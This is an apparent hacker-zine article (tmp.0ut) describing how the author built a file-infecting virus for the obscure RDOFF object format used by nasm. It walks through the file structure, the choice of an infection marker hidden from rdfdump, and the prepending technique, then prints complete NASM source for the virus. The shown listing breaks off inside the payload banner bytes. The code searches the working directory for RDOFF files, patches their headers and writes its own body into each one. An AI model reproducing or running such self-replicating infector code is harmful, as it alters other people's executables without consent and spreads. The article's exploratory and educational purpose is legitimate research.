┌───────────────────────┐
▄▄▄▄▄ ▄▄▄▄▄ ▄▄▄▄▄ │
│ █ █ █ █ █ █ │
│ █ █ █ █ █▀▀▀▀ │
│ █ █ █ █ ▄ │
│ ▄▄▄▄▄ │
│ █ █ │
│ █ █ │
│ █▄▄▄█ │
│ ▄ ▄ │
│ █ █ │
│ █ █ │
│ █▄▄▄█ │
│ ▄▄▄▄▄ │
│ █ │
REVIVING RDOFF PART 2: RDOFF VIRUS │ █ │
~ netspooky └───────────────────█ ──┘
─── Intro ──────────────────────────────────────────────────────────────────\\──
For BGGP6, I explored RDOFF [1], an obscure object file format originally used
to test object file generation in nasm. RDOFF v1 was first released as part of
nasm 0.91 in 1997. RDOFF2 was added in late 2002, extending the features of the
existing RDOFF implementation. The format's internal structures became load-
bearing code for nasm's file generation pipeline, being re-worked any time a
change was needed for other output formats. (see part 1 for more info)
RDOFF was removed from the nasm repos in nasm 2.16. The code that generated .rdf
files hadn't worked properly in many years, despite being featured in the nasm
help file, and other assemblers claiming compatibility for the format. I could
not find a single example RDOFF file anywhere online, so I ended up writing
my own parser and generator in scapy[2].
After patching nasm's rdx loader [3] and reviving RDOFF as an executable format,
I started thinking about what could have been if this file format had ever seen
wider usage.
Much of what we write about in tmp.0ut involves sneaky ways of using ELF files.
ELF has had various security features rolled into it that platforms like Linux
support, along with a number of tools to explore ELF internals and runtime. The
ELF ecosystem has had time to cook over the years. RDOFF has not. In fact, the
file format is incomplete, with many of the advertised features never actually
being implemented.
So with a deep understanding of an incomplete and obsolete file format that no
one cares about or uses, I decided to make an RDOFF virus. This virus does not
need a lot of bells and whistles. Due to the simplicity of the format, we can
use the simplest methods. Let's pretend it's 2002 [4] and create an evil RDOFF!
─── Setup ──────────────────────────────────────────────────────────────────\\──
All of this was tested on Ubuntu 22.04 for x86_64.
[ Install required packages ]
sudo apt install autoconf automake build-essential binfmt-support
[ Clone the repo and build ]
git clone -b nasm-2.15-rdoff-x64 https://github.com/netspooky/nasm
cd nasm
./autogen.sh
./configure
make everything
[ Register the binfmt ]
All you have to do is add your registration string to a configuration file in
the /etc/binfmt.d/ directory. The path to the rdx interpreter should be changed
to wherever you built nasm.
echo ":.rdf:M::RDOFF2::/home/user/nasm/rdoff/rdx:" > /etc/binfmt.d/rdf.conf
NOTE: this is the syntax of a binfmt registration string
:name:type:offset:magic:mask:interpreter:flags
[ Restart the binfmt service ]
sudo systemctl restart systemd-binfmt
[ Confirm registration ]
Check if the format was registered by examining /proc/sys/fs/binfmt_misc/.rdf
▶ cat /proc/sys/fs/binfmt_misc/.rdf
enabled
interpreter /home/user/nasm/rdoff/rdx
flags:
offset 0
magic 52444f464632
[ Test a file ]
Check if you can execute an RDOFF file. global.rdf from Part 1 should return the
value of 6.
▶ ./global.rdf ; echo $?
6
─── RDOFF Structure ────────────────────────────────────────────────────────\\──
This is the file structure of global.rdf
┌─────────────────────────────────────────────────────────────────────────┐
│00000000: 5244 4f46 4632 ────────────────────────── magic "RDOFF2" │
│ 4300 0000 ──────────────── obj_len: 67 bytes │
│ 1400 0000 ────── hdr_len: 20 bytes │
├── Global Header ────────────────────────────────────────────────────────┤
│ 03 ─── hdr type: global │
│ 0c ─ hdr len: 12 │
│00000010: 00 ────────────────────────────────────── flags: 0 │
│ 00 ──────────────────────────────────── segment: 0 │
│ 0000 0000 ────────────────────────── offset: 0 │
│ 5f6d 6169 6e00 ─────────── label "_main\0" │
├── BSS Header ───────────────────────────────────────────────────────────┤
│ 05 ──────── hdr type: bss │
│ 04 ────── len: 4 │
│ 0100 ┬ bss_size: 1 │
│00000020: 0000 ───────────────────────────────────┘ │
├── Text Segment ─────────────────────────────────────────────────────────┤
│ 0100 ─────────────────────────────── seg type: text │
│ 0000 ────────────────────────── seg number: 0 │
│ 0000 ───────────────────── seg resrvd: 0 │
│ 0c00 0000 ─────────── seg length: 12 bytes │
│ b83c 0000 ┬ code │
│00000030: 00bf 0600 0000 0f05 ────────────────────┘ │
├── Data Segment ─────────────────────────────────────────────────────────┤
│ 0200 ──────────────── seg type: data │
│ 0100 ─────────── seg number: 1 │
│ 0000 ────── seg resrvd: 0 │
│ 0100 ┬ seg length: 1 byte │
│00000040: 0000 ───────────────────────────────────┘ │
│ 66 ───────────────────────────────── .bss data: "6" │
├─────────────────────────────────────────────────────────────────────────┤
│ 00 0000 0000 0000 0000 00 ──────── Padding │
└─────────────────────────────────────────────────────────────────────────┘
The general structure is:
- RDOFF Magic
- File Length
- File Header
- Length
- Headers describing Global and BSS segments
- Text Segment Header
- code
- BSS Segment Header
- data
As you can see, the file has a main header containing two subheaders that
describe two segments, text and bss. These are the only two supported segment
types in the rdx loader.
Due to inconsistent naming, the subheader for the text segment is primarily
called the "global" section header. "global" is also called "extern" in some
parts of the code, and "public" in others. All we really need to know is that
this header describes the offset of the text segment relative to the end of the
RDOFF header, with a label "_main". The "_main" label is essentially a symbol
name for the beginning of the code, similar to "_start" in other code. The Text
segment this header points to has it's own header, containing the length and the
segment number.
The BSS header describes the BSS (aka "Data") segment, although without an
explicit offset. The data segment is required by the loader, but unused by
my programs. This segment contains the value of "6".
The structure of having text and data segments is not unlike most executables
you see every day, like an ELF or a PE. The key difference is that the text
segment has it's own small header immediately before the code starts.
─── Virus Ideation ─────────────────────────────────────────────────────────\\──
To quote dnz: "how can we backdoor this?"
As covered in part 1, the RDOFF parsers in nasm are quite How Ya Doin. Both the
code and the documentation for RDOFF describe a lot of features, but few are
implemented. Fewer still are components that were fully implemented, instead
of boilerplate parsing and printing "Not supported yet". Most of the code hasn't
been touched since 2002, aside from style fixes and the renaming of libraries.
If we want to backdoor this file, we have to understand what actually matters to
the loader, and the tools built to parse rdoff.
The first idea I had was to add an additional segment to the end of the file,
which could be mapped adjacent to the _main text segment, preferably before it.
This would require rewriting the file header to add a new text segment, and
adjusting the offset of the _main header to point to the virus code. The code
would also need to preserve the original entrypoint and call that once finished.
The loader would support this, but it would be a lot more work.
The simpler solution is to do a basic text infection. For this, all that would
be required is for the virus to insert itself at the start of the text section,
making sure that it cleans up before it continues to the rest of the code.
What makes this approach even easier is that the global header describing the
_main text segment doesn't have a size specified, only an offset. This is unlike
an ELF, where the program headers describe the sizes of the segment in the file
and in memory. The actual size is stored in the segment header, which is pointed
to by the offset in the global header.
This means that as long as the payload starts right at offset 0 in the text
section (which is immediately after the headers end) then our payload should
fire before anything else. Then all we would need to do is just continue
execution into the main code.
This approach would require us to update only a few fields
- the file size after the rdoff header
- the segment length field in the text segment header
- something to mark if a file is infected
Because there is absolutely no one else using RDOFF in any way, and the rdx
loader is already modified to work on x64, I decided to take the liberty to
assume that any RDOFF is only ever going to have one text segment and one data
segment, and the header offsets will remain constant as a result. This should
make it much simpler to demonstrate the virus technique.
─── Virus Logic ────────────────────────────────────────────────────────────\\──
Lets take a second to think about what we need to do.
There are two length fields that need updating, which is easy. The other thing
to figure out is how to mark a file to indicate that it's already infected.
Generally, you want your marker to be sneaky. For an ELF, you should hide from
fields commonly parsed by tools. This is why many viruses for ELF will use
the padding in the ELF header as a convenient place to store data without it
appearing in the output of basic tools like readelf.
There is only one tool to parse RDOFF files like readelf, and that is rdfdump,
which comes with the nasm source.
Example output for global.rdf:
▶ rdfdump global.rdf
RDOFF dump utility, version 2.3
RDOFF2 revision 0.6.1
Copyright (c) 1996,99 Julian R Hall
Improvements and fixes (c) 2002-2004 RET & COM Research.
File global.rdf: RDOFF version 2
Object content size: 67 bytes
Header (20 bytes):
public: (0000:00000000) = _main
bss reservation: 00000001 bytes
Segment:
Type = 0001 (text)
Number = 0000
Resrvd = 0000
Length = 12 bytes
Segment:
Type = 0002 (data)
Number = 0001
Resrvd = 0000
Length = 1 bytes
NULL segment
Total number of segments: 2
Total segment content length: 13 bytes
The first idea I had was to use Text Segment's Reservd field, since it's not
used by anything. The downside is, this would show up in the output of rdfdump,
which is will alert an astute analyst---- wait a sec lol, what analyst???
Even if no one is looking for these files, it is still prudent to use fields
that are not visible to anyone using the stock tools. This is why I settled on
using the global header flags field.
This value "e.flags" is explicitly set[5] to 0 in rdf_relocate() when a segment
gets mapped:
case 3: /* export record - add to symtab */
e.segment = r->e.segment;
e.offset = r->e.offset + (e.segment == 0 ? m->textrel : /* 0 -> code */
e.segment == 1 ? m->datarel : /* 1 -> data */
m->bssrel); /* 2 -> bss */
e.flags = 0; // <------ here is where it's set
e.name = nasm_malloc(strlen(r->e.label) + 1);
if (!e.name)
return 1;
strcpy(e.name, r->e.label);
symtabInsert(m->symtab, &e);
break;
The segment flags are not included in the output of rdfdump, making it way more
stealthy. Note that the global header flags field is actually shown in my scapy
library using the .show() method:
▶ python3 RDOFF.py
###[ RDOFF ]###
magic = b'RDOFF2'
obj_len = 64
hdr_len = 17
\hdr \
|###[ Header ]###
| \hdr_records\
| |###[ RDFHDR_TLVs ]###
| | type = IMPORT
| | length = 9
| | \value \
| | |###[ RDFREC_IMPORT ]###
| | | flags = 0
| | | segment = 3
| | | label = b'_main'
| |###[ RDFHDR_TLVs ]###
| | type = BSS
| | length = 4
| | \value \
| | |###[ RDFREC_BSS ]###
| | | bss_size = 1
\segs \
|###[ Header ]###
| \rdf_segs \
| |###[ RDFHDR_TLVs ]###
| | type = TEXT
| | number = 0
| | resrvd = 0
| | length = 12
| | data = b83c000000bf060000000f05
| |###[ RDFHDR_TLVs ]###
| | type = DATA
| | number = 1
| | resrvd = 0
| | length = 1
| | data = 00
| |###[ RDFHDR_TLVs ]###
| | type = NULL
| | number = 0
| | resrvd = 0
| | length = 0
| | data =
Now we have a map of the values the virus update to insert itself at the start
of the host program:
┌─ RDOFF ─────────┐ ┌─ Infected RDOFF ───────┐
│ │ │ │
│ obj_len ───────│── update ──│─>obj_len + VX_SIZE │
│ │ │ │
│ global header │ │ global header │
│ │ │ │
│ flags = 0 ─│─── mark ───│─────>flags = 0x55 │
│ │ │ │
│ bss header │ │ bss header │
│ │ │ │
│ text segment │ │ text segment │
│ │ │ │
│ len ──────│── update ──│─────>len + VX_SIZE │
│ │ │ │
│ code │ ┌── add ──│─────>VX_CODE │
│ │ │ │ │
│ data segment │ │ │ code │
│ │ │ │ │
└─────────────────┘ │ │ data segment │
│ │ │
VX_CODE ─────────────┘ └────────────────────────┘
Let's implement this logic!
─── Base File ──────────────────────────────────────────────────────────────\\──
I decided to use nasm itself to generate the base file. Since nasm can't make
an RDOFF file anymore, even with my patches, it seemed funny to use nasm to
create a raw binary. The file structures can be crafted in the code, bypassing
any pain in getting your bytes exactly where you need them. A bonus is that
a nasm map file describing all the symbols in the code can be generated on
each build, which is pretty handy for debugging.
This was my basic code which creates various headers I need:
[map all mybin.map]
BITS 64
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
; RDOFF -----------------
rdf_begin:
db "RDOFF2" ; 0x00 magic
obj_len:
dd end_rdf - hdr ; 0x06 obj_len
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
hdr:
dd 0x14 ; 0x0A hdr_len
global_header:
db 0x3 ; 0x0E hdr_type: global
db 0xC ; 0x0F hdr_len: 12
db 0x55 ; 0x10 flags: 0x55 = don't infect
db 0 ; 0x11 segment: 0
dd 0 ; 0x12 offset: 0
db "_main", 0 ; 0x16 label
bss_header:
db 0x5 ; 0x1C type: bss
db 0x4 ; 0x1D len: 4
dd 1 ; 0x1E bss_size: 1
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
seg_hdr_text:
dw 1 ; 0x22 seg_type: text
dw 0 ; 0x24 seg_number: 0
dw 0 ; 0x26 seg_resrvd: 0
seg_code_size:
dd seg_hdr_data - seg_code ; 0x28 seg_length: 12 bytes
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
From here, I needed to add my own code to iterate over files in the directory
and infect them.
─── Debugging ──────────────────────────────────────────────────────────────\\──
Debugging this code is not as easy, as you need to account for the rdx loader
which sets up the process image for the RDOFF file, then executes it.
If you are following along using my repo and fork, then this should work just
fine. Put this in a file called script.gdb
break main
start
continue
break 89
continue
break *0x40000000
continue
Then run rdx like this:
gdb -x script.gdb --args ~/nasm/rdoff/rdx test.rdf
It should get you right to the start of the code in the RDOFF file.
─── Adapting Linux.Nasty.asm ───────────────────────────────────────────────\\──
The virus idea is pretty straight forward, and actually a lot easier than a
virus targeting an ELF. It follows essentially the same path, but the file
structure will need to be adjusted for RDOFF.
I was looking at old issues of tmp.0ut for inspiration for this virus and
some logic I can reuse. I decided to reimplement the logic from TMZ's
Linux.Nasty.asm virus from 2020 [6]. It's an ELF infector that iterates over
files in a directory, which is exactly what I need.
What I love about this code is that it is very cleanly written and well
commented, and I know it works :) The main logic I didn't feel like writing
myself was the directory parsing code, so that was my starting point.
TMZ's original code was written for fasm, but since I am using nasm, there are
some things to change to adapt it for my usage.
Beyond removing the ELF specific pieces and adjusting how data gets referenced,
the main thing I needed to add was an RDOFF structure that I can use to
calculate the various offsets I need.
This is the structure I added, with the fields to care about commented:
struc RDOFF
.magic resb 6
.obj_len resd 1 ; update
.hdr_len resd 1
.global_hdr_type resb 1
.global_hdr_len resb 1
.global_hdr_flags resb 1 ; check
.global_hdr_seg resb 1
.global_hdr_offset resd 1
.global_hdr_label resb 6
.bss_hdr_type resb 1
.bss_hdr_len resb 1
.bss_hdr_bss_size resd 1
.seg_txt_type resw 1
.seg_txt_number resw 1
.seg_txt_resrvd resw 1
.seg_txt_length resd 1 ; update
endstruc
When you make a structure in nasm, it creates a variable you can use containing
the total length of it. Here it is accessed as RDOFF_size, which is 0x2C.
One the directory parsing code was added, the logic for parsing RDOFF and
updating the fields was pretty simple:
.patch_rdoff_top:
add dword [r14 + RDOFF.obj_len], V_SIZE ;; update obj_len
mov byte [r14 + RDOFF.global_hdr_flags ], 0x55 ;; mark the file with 0x55 marker
add dword [r14 + RDOFF.seg_txt_length], V_SIZE ;; update text segment len
After the RDOFF header is updated, the next step is to copy the first 0x2C bytes
of the buffer containing the original file, to the new file.
.copy_rdoff_top:
mov rdi, r13 ; target fd from r13
mov rsi, r14 ; mmap *buff from r14
mov rdx, RDOFF_size ;; sizeof RDOFF header
mov rax, SYS_WRITE ;; write patched RDOFF header to target host
syscall
Once that is written, copy the virus body to the host. TMZ's code uses the call,
pop, sub trick to calculate the base address we need to find the start of the
virus code. The size is known through the V_SIZE variable calculated by nasm
at build time.
.write_virus_body:
call .delta ; the age old trick
.delta:
pop rax
sub rax, .delta
mov rdi, r13 ; target temporary fd from r13
lea rsi, [rax + v_start] ; load *v_start
mov rdx, V_SIZE ; virus body size
mov rax, SYS_WRITE
syscall
With the virus code now copied to the start of the text segment, it's time to
copy the rest of the file, starting after the end of the RDOFF structure defined
in the code at offset 0x2C. Once copied, a sync syscall commits the changes to
disk.
.write_everything_else:
mov rdi, r13
lea rsi, [r14 + RDOFF_size] ;; This should get us right to the start of the RDOFF code
mov rdx, [r15 + STAT.st_size] ; get size of host file from stack
sub rdx, RDOFF_size
mov rax, SYS_WRITE ;; write rest of host file to temporary file
syscall
mov rax, SYS_SYNC ; commiting filesystem caches to disk
syscall
Now the RDOFF file is capable of infecting every RDOFF file in the current
directory!
Tests confirm that it works as expected!
▶ ./example-program.rdf
This is an example program!
▶ ./virus.rdf
▄▄▄ ▄ ────────────────────────────────────────────────────────────────────────
▄▄▄███ ▄ ────────────────────────────────────────────────────────────────────────
▄▄██████ ▄█ ────────────────────────────────────────────────────────────────────────
▀█▄▄▄ ▄▄▀▀█████ ▄█▀ ────────────────────────────────────────────────────────────────────────
▀███▀▀▄▄ ▀█ ▀▄█▀▀▀ █▀ ────────────────────────────────────────────────────────────────────────
▄ ▀█▄▀ ▀▀ ▀▀▀▀ █▄██▀ ────────────────────────────────── greetings 2 the haunted computer club
▀▄ ▀▀▀ ▄▄ ██ ▀ ┌──────┐┌──────┐┌──────┐┌──────┐┌──────┐┌──────┐┌──────┐┌ ┐┌ ┐
▀▄▄ █▄ ██▄ █▀█▄██ │ ││ │ │└──────┐│ ││ ││ ││──────┘│ │
▀█▄▀██▄██▀██ ▀▀█ │ ││──────┘ ││ ││──────┘│ ││ ││ │└──────│
▀ ▀▀ ▀█ ▀ ▀ └ ─┘└──────┘ ┘└──────┘└ └──────┘└──────┘└ ┘└──────┘
▶ ./example-program.rdf
▄▄▄ ▄ ────────────────────────────────────────────────────────────────────────
▄▄▄███ ▄ ────────────────────────────────────────────────────────────────────────
▄▄██████ ▄█ ────────────────────────────────────────────────────────────────────────
▀█▄▄▄ ▄▄▀▀█████ ▄█▀ ────────────────────────────────────────────────────────────────────────
▀███▀▀▄▄ ▀█ ▀▄█▀▀▀ █▀ ────────────────────────────────────────────────────────────────────────
▄ ▀█▄▀ ▀▀ ▀▀▀▀ █▄██▀ ────────────────────────────────── greetings 2 the haunted computer club
▀▄ ▀▀▀ ▄▄ ██ ▀ ┌──────┐┌──────┐┌──────┐┌──────┐┌──────┐┌──────┐┌──────┐┌ ┐┌ ┐
▀▄▄ █▄ ██▄ █▀█▄██ │ ││ │ │└──────┐│ ││ ││ ││──────┘│ │
▀█▄▀██▄██▀██ ▀▀█ │ ││──────┘ ││ ││──────┘│ ││ ││ │└──────│
▀ ▀▀ ▀█ ▀ ▀ └ ─┘└──────┘ ┘└──────┘└ └──────┘└──────┘└ ┘└──────┘
This is an example program!
─── Conclusion ─────────────────────────────────────────────────────────────\\──
That about wraps it up. I wanted to write a simple virus for RDOFF to showcase
a simple technique to infect.
This file format is not really used by anyone anywhere, not even the creators!
The RDOFF files I created for BGGP6 are still the only examples of this format
that I have seen anywhere online.
This code is the only RDOFF virus that exists (I think).
I don't have any plans to maintain rdx or any of the RDOFF tools from nasm 2.15,
but if this makes you excited, you should play with it yourself!
Greetings 2: TMZ for writing beautiful code that stands the test of time, the
tmp.0ut crew and community, the binary golf community, haunted computer club,
everyone who loves 2 play with things no one else cares about KEEP EXPLORING!
── REFS ────────────────────────────────────────────────────────────────────\\──
[1] https://n0.lol/bggp6-rdoff/
[2] https://github.com/netspooky/bggp6-spooky/blob/main/nasm/RDOFF.py
[3] https://github.com/netspooky/nasm/tree/nasm-2.15-rdoff-x64/rdoff
[4] https://youtu.be/ZwY4YPxTufs Heaven - DJ Sammy
[5] https://github.com/netspooky/nasm/blob/nasm-2.15-rdoff-x64/rdoff/rdfload.c#L200
[6] https://tmpout.sh/1/Linux.Nasty.asm
── virus.asm ───────────────────────────────────────────────────────────────\\──
[map all mybin.map]
BITS 64
; RDOFF Virus - netspooky 2026 - tmp.0ut 5
; Adaptation of Linux.Nasty.asm for RDOFF
; build: nasm -f bin rdoff-virus.asm -o rdoff-virus.rdf
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
; Constants
SYS_CLOSE equ 0x3
SYS_CREAT equ 0x55
SYS_EXIT equ 0x3c
SYS_FSTAT equ 0x5
SYS_GETDENTS64 equ 0xd9
SYS_MMAP equ 0x9
SYS_MUNMAP equ 0xb
SYS_OPEN equ 0x2
SYS_RENAME equ 0x52
SYS_SYNC equ 0xa2
SYS_WRITE equ 0x1
PROT_READ equ 0x1
PROT_WRITE equ 0x2
MAP_PRIVATE equ 0x2
MAP_PERMZ equ PROT_READ | PROT_WRITE
DT_REG equ 0x8
O_RDONLY equ 0x0
O_RDWR equ 0x2
STDOUT equ 0x1
DIRENT_BUFSIZE equ 0x400
V_SIZE equ v_stop - v_start
; Structures
struc DIRENT
.d_ino resq 1
.d_off resq 1
.d_reclen resw 1
.d_type resb 1
.d_name resb 0
endstruc
struc STAT
.st_dev resq 1
.st_ino resq 1
.st_nlink resq 1
.st_mode resd 1
.st_uid resd 1
.st_gid resd 1
.pad0 resb 4
.st_rdev resq 1
.st_size resq 1
.st_blksize resq 1
.st_blocks resq 1
.st_atime resq 1
.st_atime_nsec resq 1
.st_mtime resq 1
.st_mtime_nsec resq 1
.st_ctime resq 1
.st_ctime_nsec resq 1
endstruc
struc RDOFF
.magic resb 6
.obj_len resd 1 ; update
.hdr_len resd 1
.global_hdr_type resb 1
.global_hdr_len resb 1
.global_hdr_flags resb 1 ; check
.global_hdr_seg resb 1
.global_hdr_offset resd 1
.global_hdr_label resb 6
.bss_hdr_type resb 1
.bss_hdr_len resb 1
.bss_hdr_bss_size resd 1
.seg_txt_type resw 1
.seg_txt_number resw 1
.seg_txt_resrvd resw 1
.seg_txt_length resd 1 ; update
endstruc
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
; RDOFF Structure
;┌─────────────────────────────────────────────────────────────────────────┐
;│00000000: 5244 4f46 4632 ────────────────────────── magic "RDOFF2" │
;│ 4300 0000 ──────────────── obj_len: 67 bytes │ <<
;│ 1400 0000 ────── hdr_len: 20 bytes │
;├── Global Header ────────────────────────────────────────────────────────┤
;│ 03 ─── hdr type: global │
;│ 0c ─ hdr len: 12 │
;│00000010: 00 ────────────────────────────────────── flags: 0 │ <<
;│ 00 ──────────────────────────────────── segment: 0 │
;│ 0000 0000 ────────────────────────── offset: 0 │
;│ 5f6d 6169 6e00 ─────────── label "_main\0" │
;├── BSS Header ───────────────────────────────────────────────────────────┤
;│ 05 ──────── hdr type: bss │
;│ 04 ────── len: 4 │
;│ 0100 ┬ bss_size: 1 │
;│00000020: 0000 ───────────────────────────────────┘ │
;├── Text Segment ─────────────────────────────────────────────────────────┤
;│ 0100 ─────────────────────────────── seg type: text │
;│ 0000 ────────────────────────── seg number: 0 │
;│ 0000 ───────────────────── seg resrvd: 0 │
;│ 0c00 0000 ─────────── seg length: 12 bytes │ <<
;│ b83c 0000 ┬ code │ <<
;│00000030: 00bf 0600 0000 0f05 ────────────────────┘ │
;├── Data Segment ─────────────────────────────────────────────────────────┤
;│ 0200 ──────────────── seg type: data │
;│ 0100 ─────────── seg number: 1 │
;│ 0000 ────── seg resrvd: 0 │
;│ 0100 ┬ seg length: 1 byte │
;│00000040: 0000 ───────────────────────────────────┘ │
;│ 66 ───────────────────────────────── .bss data: "6" │
;├─────────────────────────────────────────────────────────────────────────┤
;│ 00 0000 0000 0000 0000 00 ──────── Padding │
;└─────────────────────────────────────────────────────────────────────────┘
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
; RDOFF -----------------
rdf_begin:
db "RDOFF2" ; 0x00 magic
obj_len:
dd end_rdf - hdr ; 0x06 obj_len
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
hdr:
dd 0x14 ; 0x0A hdr_len
global_header:
db 0x3 ; 0x0E hdr_type: global
db 0xC ; 0x0F hdr_len: 12
db 0x55 ; 0x10 flags: 0x55 = don't infect
db 0 ; 0x11 segment: 0
dd 0 ; 0x12 offset: 0
db "_main", 0 ; 0x16 label
bss_header:
db 0x5 ; 0x1C type: bss
db 0x4 ; 0x1D len: 4
dd 1 ; 0x1E bss_size: 1
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
seg_hdr_text:
dw 1 ; 0x22 seg_type: text
dw 0 ; 0x24 seg_number: 0
dw 0 ; 0x26 seg_resrvd: 0
seg_code_size:
dd seg_hdr_data - seg_code ; 0x28 seg_length: 12 bytes
seg_code:
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
v_start:
sub rsp, 2000 ; reserving 2000 bytes
mov r15, rsp ; r15 has the reserved stack buffer address
load_dir:
push "." ; pushing "." to stack (rsp)
mov rdi, rsp ; moving "." to rdi
mov rsi, O_RDONLY
xor rdx, rdx ; not using any flags
mov rax, SYS_OPEN
syscall ; rax contains the fd
mov r8, rax ; mov fd to r8 temporarily
mov rdi, rax ; move fd to rdi
lea rsi, [r15 + 600 + DIRENT] ; rsi = dirent in stack
mov rdx, DIRENT_BUFSIZE ; buffer with maximum directory size
mov rax, SYS_GETDENTS64
syscall
mov r9, rax ; r9 now contains the directory entries
mov rdi, r8 ; load open dir fd from r8
mov rax, SYS_CLOSE ; close source fd in rdi
syscall
test r9, r9 ; check directory list was successful
js cleanup ; if negative code is returned, I failed and should exit
mov qword [r15 + 500], r9 ; [r15 + 500] now holds directory size
xor rcx, rcx ; will be the position in the directory entries
file_loop:
push rcx ; preserving rcx (important, used as counter for dirent record length)
cmp byte [rcx + r15 + 600 + DIRENT.d_type], DT_REG ; check if it's a regular file dirent.d_type
jne .continue ; if not, proceed to next file
.open_target:
push rcx
lea rdi, [rcx + r15 + 600 + DIRENT.d_name] ; dirent.d_name from stack
mov rsi, O_RDWR ; opening target in read write mode
xor rdx, rdx ; not using any flags
mov rax, SYS_OPEN
syscall
test rax, rax ; if can't open file, try next one
js .continue ; this also kinda prevents self infection since you cannot open a running file in write mode (which will happen during first execution)
mov r8, rax ; load r8 with source fd from rax
xor rax, rax ; clearing rax, will be used to copy host filename to stack buffer
pop rcx
lea rsi, [rcx + r15 + 600 + DIRENT.d_name] ; put address into the source index
lea rdi, [r15 + 200] ; put address into the destination index (that is in stack buffer at [r15 + 200])
.copy_host_name:
mov al, [rsi] ; copy byte at address in rsi to al
inc rsi ; increment address in rsi
mov [rdi], al ; copy byte in al to address in rdi
inc rdi ; increment address in rdi
cmp al, 0 ; see if its an ascii zero
jne .copy_host_name ; jump back and read next byte if not
.map_target:
mov rdi, r8 ; load source fd to rdi
lea rsi, [r15 + STAT] ; load fstat struct to rsi
mov rax, SYS_FSTAT
syscall ; fstat struct in stack conntains target file information
xor rdi, rdi ; operating system will choose mapping destination
mov rsi, [r15 + STAT.st_size] ; load rsi with file size from fstat.st_size in stack
mov rdx, MAP_PERMZ ; protect RW = PROT_READ (0x01) | PROT_WRITE (0x02)
mov r10, MAP_PRIVATE ; pages will be private
xor r9, r9 ; offset inside source file (zero means start of source file)
mov rax, SYS_MMAP
syscall ; now rax will point to mapped location
push rax ; push mmap addr to stack
mov rdi, r8 ; rdi is now target fd
mov rax, SYS_CLOSE ; close source fd in rdi
syscall
pop rax ; restore mmap addr from stack
test rax, rax ; test if mmap was successful
js .continue ; skip file if not
.is_rdoff:
cmp dword [rax + RDOFF.magic], 0x464f4452 ; 0x464f4452 = RDOF (dword, little-endian)
jnz .continue ; not an RDOFF binary, close and continue to next file if any
.is_infected:
cmp byte [rax + RDOFF.global_hdr_flags], 0x55 ; check signature in the header flags
jz .continue ; already infected, close and continue to next file if any
.infection_candidate:
call infect ; calls infection routine
.continue:
pop rcx ; restore rcx, used as counter for directory length
add cx, [rcx + r15 + 600 + DIRENT.d_reclen] ; adding directory record length to cx (lower rcx, for word)
cmp rcx, qword [r15 + 500] ; comparing rcx counter with directory records total size
jne file_loop ; if counter is not the same, continue loop
call payload ; by calling payload label, we set msg label address on stack
msg:
db 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20
db 0x20, 0x20, 0x20, 0x20, 0x20, 0xe2, 0x96, 0x84, 0xe2, 0x96, 0x84, 0xe2, 0x96, 0x84, 0x20, 0x20
db 0xe2, 0x96, 0x84, 0x20, 0x1b, 0x5b, 0x33, 0x38, 0x3b, 0x35, 0x3b, 0x32, 0x31, 0x6d, 0xe2, 0x94
db 0x80, 0x1b, 0x5b, 0x37, 0x31, 0x62, 0x1b, 0x5b, 0x30, 0x6d, 0x0a, 0x20, 0x20, 0x20, 0x20, 0x20
db 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0xe2, 0x96, 0x84
db 0xe2, 0x96, 0x84, 0xe2, 0x96, 0x84, 0xe2, 0x96, 0x88, 0xe2, 0x96, 0x88, 0xe2, 0x96, 0x88, 0x20
db 0x20, 0xe2, 0x96, 0x84, 0x20, 0x1b, 0x5b, 0x33, 0x38, 0x3b, 0x35, 0x3b, 0x35, 0x37, 0x6d, 0xe2
db 0x94, 0x80, 0x1b, 0x5b, 0x37, 0x31, 0x62, 0x1b, 0x5b, 0x30, 0x6d, 0x0a, 0x20, 0x20, 0x20, 0x20
db 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0xe2, 0x96, 0x84, 0xe2
db 0x96, 0x84, 0xe2, 0x96, 0x88, 0xe2, 0x96, 0x88, 0xe2, 0x96, 0x88, 0xe2, 0x96, 0x88, 0xe2, 0x96
db 0x88, 0xe2, 0x96, 0x88, 0x20, 0xe2, 0x96, 0x84, 0xe2, 0x96, 0x88, 0x20, 0x1b, 0x5b, 0x33, 0x38
db 0x3b, 0x35, 0x3b, 0x39, 0x33, 0x6d, 0xe2, 0x94, 0x80, 0x1b, 0x5b, 0x37, 0x31, 0x62, 0x1b, 0x5b
db 0x30, 0x6d, 0x0a, 0x20, 0xe2, 0x96, 0x80, 0xe2, 0x96, 0x88, 0xe2, 0x96, 0x84, 0xe2, 0x96, 0x84
